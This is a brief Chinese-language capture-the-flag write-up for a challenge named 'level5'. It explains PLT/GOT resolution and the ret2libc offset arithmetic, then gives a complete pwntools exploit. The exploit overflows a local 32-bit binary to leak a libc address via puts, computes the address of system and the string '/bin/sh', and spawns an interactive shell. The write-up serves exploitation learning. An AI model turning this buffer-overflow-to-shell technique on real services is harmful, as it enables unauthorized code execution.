level5

先捋一下整体思路:构造泄漏libc的payload,通过这个payload的libc来获取程序中system函数和”/bin/sh”字符串的偏移,然后计算出函数的真实加载地址。

plt表和got表:
plt表:跳板,跳转到一个地址来加载libc库。文件中会对每个用到的函数分配一个plt函数
got表:经过plt表的跳转会跳转会在got表上写入地址,这个地址是函数调用的真实地址

泄漏原理:
system_addr-libc_system=puts_addr-libc_puts=libc的偏移量
system_addr=puts_addr+(libc_system-libc_puts)

接下来着手做题,拿到题先检查

用ida分析如图为题中洞,框内作为一个断点

然后用gdb调试,发现需要填充数量

因为是用main函数来进行得到libc地址(关于这点我有点懵)

如果上边都理解了那么也就懂这exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(log_level = 'debug', os = 'linux', arch = 'i386')
p = process('./aslrandnx')
pelf = ELF('./aslrandnx')
libc = ELF('libc.so.6')

p.recvline()

puts_addr = pelf.plt["puts"]
libc_start_main = pelf.got["__libc_start_main"]
print libc_start_main

main_addr = 0x080484E7

payload = 'a' * 44 + p32(puts_addr) + p32(main_addr) + p32(libc_start_main) #调用puts函数后,ret到main函数,用main函数来获取libc_start_mian的地址
pause()
p.sendline(payload)

#泄露libc
libc_start_main = u32(p.recvline()[:4])

print libc_start_main
#得出libc中的基地址
offset_libc_start_main = libc.symbols["__libc_start_main"]
libc_base_addr = libc_start_main - offset_libc_start_main
logging.warn("[*] libc_base_addr: " + hex(libc_base_addr))

#获取libc中的puts,system,/bin/sh的实际地址
offset_system = libc.symbols["system"]
system_addr = libc_base_addr + offset_system


offset_binsh = next(libc.search('/bin/sh'))
binsh_addr = libc_base_addr + offset_binsh


pause()
payload = 'a'*44 + p32(system_addr) + p32(0) + p32(binsh_addr)
p.sendline(payload)

p.interactive()